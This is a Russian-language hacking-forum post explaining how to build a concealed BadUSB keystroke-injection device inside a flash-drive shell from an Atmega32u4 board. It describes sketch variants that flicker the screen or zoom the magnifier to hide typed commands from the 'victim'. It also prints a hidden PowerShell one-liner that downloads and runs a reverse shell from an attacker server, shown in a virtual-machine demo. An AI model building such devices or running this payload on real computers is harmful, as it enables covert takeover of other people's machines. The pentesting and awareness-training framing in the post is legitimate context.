Всем привет!
Представляю вашему вниманию статью из разряда “очумелые ручки”.
С помощью [S]пластиковых бутылок[/S] платы с микроконтроллером Atmega32u4и паяльника сделаем BadUSB.
Вот ссылки на статьи об устройстве BadUSB на нашем форуме, при разработке я их активно использовал и перерабатывал под свои нужды. Всем авторам и комментаторам спасибо.
Digispark - badusb за 1$
Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark.
codeby.net
Bad USB на ATtiny 85
Всем привет. Представляю вам Bad USB на ATtiny 85. Разработчик -== Yukinoshita47/megumi-san-bad-usb Проект USB BAD или более известный как Ducky Rubber USB. Megumum usb bad - это проект, ориентированный на аппаратное хакерство от Garuda Security Hackers. Оборудование может быть...
codeby.net
Bad Usb или как я уток разводил, Практическое пособие по Rubber Duck
Дали им звучное имя Rubber Duck. Как Вы догадались, эта порода уток ни что иное, как Bad Usb.
codeby.net
Учим BadUSB работать с разными раскладками клавиатуры
Заглавие Всем доброго времени суток, о BadUsb, Usb Rubber Ducky и о том, как самому сделать аналог данного устройства написано уже много статей. В этой же статье мы рассмотрим решение проблемы BadUsb при работе с разными раскладками клавиатуры. В качестве инструкции по созданию своего BadUsb...
codeby.net
Введение
Да, возможно, кого-то тема BadUSB уже подзадолбала, но я давно хотел смастерить девайс, реально похожий на флешку и не стоящий 50 баксов, как оригинальное устройство от Hak5.
(Оригинальное устройство от Hak5)
На выходе мы получим аккуратное устройство, похожее на флешку, имеющее на борту достаточно памяти, чтобы набрать shell-код с помощью ALT-кодов.
Короче говоря - дешево, красиво, эффективно (ну, насколько это может позволить BadUSB).
(Вот такое устройство у нас получится)
Себестоимость нашего устройства выйдет долларов в 6-7 без доставки компонентов и без стоимости оборудования.
Подготовка
Необходимые инструменты:
- Ножницы по металлу (они позволят нам меньше работать напильником);
- Напильник;
- Паяльник, флюс, припой;
- Спирт (отмывать плату от флюса, не употреблять внутрь);
- Руки (если руки золотые, то неважно, откуда они растут)
Необходимые компоненты:
- Плата с микроконтроллером Atmega32u4;
- Флешка, которую мы распотрошим и будем использовать от неё корпус;
- USB Type-A разъём, чтобы устройство выглядело убедительно и была похожа на настоящую (я рекомендую разъемы с небольшими хвостиками, а не под пайку проводов).
Итак, использовать в своем [S]рукоблудстве[/S] [S]рукожопстве[/S] проекте я буду плату, которую на просторах алиэкспресса называют Mini SS Micro.
Плата имеет интересный форм-фактор, маленький размер и на борту распаян микроконтроллер Atmega32U4.
Почему для устройства я выбрал плату Mini SS Micro:
- Она дешёвая и на ней установлен микроконтроллер, позволяющий эмулировать клавиатуру;
- В ней в 4,5 раза больше памяти, чем в Digispark(28 Кб ATmega32u4против 6 Кб Attiny85(значения после вычета загрузчика));
- Размер платы (длина 30-мм , ширина 20-мм, плюс эти размеры можно ещё уменьшить), если подработать напильником - влезет в стандартный корпус флешки;
- Именно из-за размеров я не выбрал плату Arduino Pro Micro, у неё длина 35-мм и уменьшить этот размер нет никакой возможности;
- Разъем формата USB Type-A, (удобнее паять, чем Micro usb).
Далее приведу размеры внутреннего пространства выбранного типа флешки:
- Ширина - 16.44 мм;
- Длина до стоек - 27,1 мм;
- Длина до начала закругления - 32.4 мм.
(Богатый внутренний мир донорской флешки)
Заканчиваем с описанием и начинаем работать руками, а потом головой.
Собираем устройство
Берём плату и ножницы по металлу и первыми делом с отрезаем боковые части в области отверстий под пайку.
Далее аккуратно шлифуем напильником с двух сторон, до момента, пока плата не влезет во флешку.
К сожалению, я нигде не смог найти в интернете схему этой чудо-платы, чтобы точно сказать, до какого места можно шлифовать.
Однако, когда я делал своё устройство, то я старался ориентироваться на шелкографию отверстий под пайку, оставляя нетронутой часть, как показано на изображении ниже.
(Красным отмечены линии реза и последующей шлифовки)
Следующим шагом отрезаем переднюю часть платы, чтобы дорожки для подключения платы к USB были ровные и их было удобнее паять к разъему USB Type-A (не понимаю, почему китайцы их сделали разными)
Теперь достаём паяльник, флюс и начинаем паять (я использовал глицин и какой-то китайский припой).
Примеряем внешний разъем USB Type-A к нашей плате, совсем чуть-чуть лудим контакты на плате и контакты на разъеме.
Далее накладываем их друг на друга и припаиваем, получается аккуратно и относительно крепко.
(Для желающих погрузиться в сферу пайки крайне рекомендую вот эту серию видео, но вообще на просторах интернета полно информации про пайку, главное в этом деле больше практики)
(Плата после пайки с флюсом выглядит крайне не привлекательно)
Не забываем отмыть флюс! Да, глицин ,вроде, не вызывает сильной коррозии на контактах и не коротит, но выглядит плата неаккуратно, и почистить плату лишним никогда не будет.
(Плата выглядит уже лучше)
Далее, можем примерить получившееся устройство в корпус от флешки, и, если всё устраивает, то я рекомендую посадить плату в корпус флешки на клей (я посадил на [S]горячие сопли[/S] термоклей и он держит отлично).
Программируем наше устройство
Так получилось, что пока комплектующие добирались до меня, участник форума (
elrock) успел меня опередить и написать статью об использовании ALT-кодов для ввода команд латиницей при любой раскладке клавиатуры.
Поэтому особо не буду вдаваться в подробности работы контроллера с ALT кодами, ссылка на статью указана в начале поста (Учим BadUSB работать с разными раскладками клавиатуры).
Я же для себя подготовил простой скрипт на Python, который сначала переводит символы из строки в код символа, согласно ASCII таблице. Далее код каждого символа преобразуется в последовательность нажатий клавиш на NumPad при нажатой кнопке ALT.
(Дружелюбный интерфейс скрипта)
Команды можно вводить последовательно, главное - после ввода всех команд нажать CTRL+C, чтобы скрипт корректно сохранил код нашей функции в файл payload.txt
После подготовки кода "полезной нагрузки" нам остаётся его скопировать из файла payload.txt и вставить в наш скетч.
Я долго размышлял над вариантами отвлечения внимания пользователя компьютера во время набора команд.
В своё время были мысли сделать скетч, который куртил-вертел изображения экрана с помощью горячих клавиш WIndows, но эту фишку убрали.
Однако я нашёл ещё один вариант: с помощью комбинации клавиш WIN+CTRL+SHIFT+B мы можем перезагрузить видеодрайвер, экран погаснет секунды на 2, но возможность вводить текст с клавиатуры в это время не будет заблокировано. Поэтому я подготовил 4 варианта скетча:
1. Первый скетч - «Привет, эпилептик!».
Через каждые 15 символов ввода мы будем перезагружать видеодрайвер, и экран будет «весело» моргать.
После ввода «полезной нагрузки» устройство блокируем комп.
Да, это не очень сильно осложнит восприятие ввода команды, будет крайне подозрительно, но оставим и такой вариант. Вдруг у пользователя частота моргания глаз войдёт в резонанс с частотой моргания экрана, тогда он точно ничего не увидит
(Если не получим доступ к компьютеру, то хотя бы вызовем у жертвы мигрень!)
2. Второй скетч - «Чешский крот».
Перед началом выполнения «полезной нагрузки» мы с помощью горячих клавиш Windows 10 включаем экранную лупу и максимально приближаем изображение.
При вводе текста нашим устройством лупа переместится к экрану ввода, но увидеть можно будет только часть окна.
После завершения ввода мы отключаем экранную лупу и блокируем комп.
(Плохо видно, можно покрупнее???)
3. Третий скетч является комбинацией первого и второго скетча, он получит кодовое название «Крот-эпилептик».
Как понятно из названия, мы включаем экранную лупу, и через каждые 15 символов ввода мы будем перезагружать видеодрайвер для моргания экраном.
После завершения ввода команды - выключаем экранную лупу и блокируем комп.
(Выглядит уже интереснее)
4. Скетч “Блиц-скорость без границ”. В этом варианте наше устройство будет просто быстро набирает команду, а потом заблокирует комп. Скучно, но работает.
(Может, кто-то будет очень долго моргать и не заметит?)
Все приложенные скрипты это - один и тот же скрипт, в котором присутствуют или отсутствуют комментарии некоторых строк кода и изменены тайминги задержек.
Также в коде, в разделе setup(), есть 2 закомментированные строки. Они отвечают за нажатие кнопки NumLock и повторное выполнение кода.
Существует вероятность, что NumLock будет отключен, и тогда все наши ALT-коды не сработают, поэтому можно продублировать выполнение кода после включения NumLock.
Для себя я эти строки закомментировал, но вы можете их раскомментировать.
(прикреплен в конце этого поста)
Переходим к демонстрации
В качестве демонстрации я записал короткие видеоролики, на них показаны 2 виртуальные машины. Одна - с Win 10, другая - с Kali Linux.
На Kali у нас запущен listener на порту 7997 и веб-сервер, на котором лежит текстовый файл, который содержит в себе reverse shell, написанный на PowerShell.
В качестве «полезной нагрузки» для нашего устройства мы будем использовать следующую команду:
Код:
Код:
powershell -NoProfile -WindowStyle Hidden -c "IEX((new-object system.net.webclient).downloadstring('http://172.16.0.11/1.txt'))"
Демонстрации подготовки «полезной нагрузки» и прошивки устройства
Демонстрации применения готового устройства, виртуальная машина немного лагала, на живой системе всё отрабатывает быстрее.
Оригинальноя Rubber Ducky от Hak5 используется свой синтаксис , но, при желании и небольшом старании, в нём можно быстро разобраться и переписать готовые скрипты для уточки в формат выполнения кода под наше устройство.
Payloads оригинальной уточки можно найти тут.
Заключение
Я доволен результатом, готовое устройство мне нравится, выглядит хорошо, визуально не отличается от флешки.
Параноиков, вскрывающих флешки перед их использованием, я никогда не встречал, поэтому это может быть интересный и относительно дешевый инструмент для пентестов или использоваться для аудита осведомленности сотрудников (об этом я расскажу в следующей статье).
На просторах алиэкспресcа мной также были найдены альтернативные варианты BadUSB:
Но, будем честны друг с другом, BadUSB имеет минусы, и не маленькие. Главный минус заключается в том, что любое нажатие на обычной клавиатуре, во время ввода команды устройством, с 95% вероятностью сломает "полезную нагрузку", и мы останемся [S]с дырявым ведром[/S] у разбитого корыта.
Всем дочитавшим до конца спасибо за внимание!
P.S. Изначально, работая над этим проектом, я хотел использовать DigiSparkс Attyny85, но всё упёрлось в недостаток памяти на микроконтроллере.